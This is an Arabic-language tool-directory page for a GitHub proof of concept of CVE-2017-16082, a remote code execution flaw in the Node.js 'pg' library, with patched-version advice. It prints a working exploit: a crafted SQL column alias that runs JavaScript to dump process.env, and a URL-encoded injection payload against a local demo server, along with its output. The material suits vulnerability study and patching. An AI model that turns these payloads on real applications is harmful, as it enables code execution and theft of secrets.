Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-16082 — NodeJS + Postgres (تنفيذ التعليمات البرمجية عن بُعد) 🛰 | Kitploit
أدوات/GitHubGitHub/nulldreams/cve-2017-16082
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن قواعد البيانات
GitHubnulldreams/cve-2017-16082

CVE-2017-16082

NodeJS + Postgres (تنفيذ التعليمات البرمجية عن بُعد) 🛰

عرض المستودع
5منذ 7 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-16082

نظرة عامة

الإصدارات المتأثرة من pg تحتوي على ثغرة تنفيذ التعليمات البرمجية عن بُعد تحدث عندما تحدد قاعدة البيانات أو الاستعلام اسم عمود مُصمَّم.

يوجد سيناريوهان محددان يحتمل أن يكون التطبيق فيهما عرضة للثغرة:

  1. ينفذ التطبيق استعلامات SQL غير آمنة مقدمة من المستخدم تحتوي على أسماء أعمدة خبيثة.
  2. يتصل التطبيق بقاعدة بيانات غير موثوقة وينفذ استعلامًا يُرجع نتائج تحتوي على اسم عمود خبيث.

إثبات المفهوم

root@kitploit:~
const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

المعالجة

  • الإصدار 2.x.x: حدّث إلى الإصدار 2.11.2 أو أحدث.
  • الإصدار 3.x.x: حدّث إلى الإصدار 3.6.4 أو أحدث.
  • الإصدار 4.x.x: حدّث إلى الإصدار 4.5.7 أو أحدث.
  • الإصدار 5.x.x: حدّث إلى الإصدار 5.2.1 أو أحدث.
  • الإصدار 6.x.x: حدّث إلى الإصدار 6.4.2 أو أحدث. ( لاحظ أن الإصدارات 6.1.6 و6.2.5 و6.3.3 معالجة أيضًا. )
  • الإصدار 7.x.x: حدّث إلى الإصدار 7.1.2 أو أحدث. ( لاحظ أن الإصدار 7.0.2 معالج أيضًا. )

اختبار محلي 💣

git clone https://github.com/nulldreams/CVE-2017-16082.git

cd CVE-2017-16082

npm i && node server.js

أرسل طلبًا إلى localhost:5000/api/v1/users?id=1 النتيجة

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    }
]

الآن، أرسل طلبًا باستخدام حمولة مثل هذه 1;SELECT 1 AS "\']=0;console.log(process.env)//" وقم بترميزها في مُرمِّز العناوين

الرابط النهائي: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    },
    {
        "\\": 0
    }
]

تحقق من طرفية الخادم.

تنزيل الأداة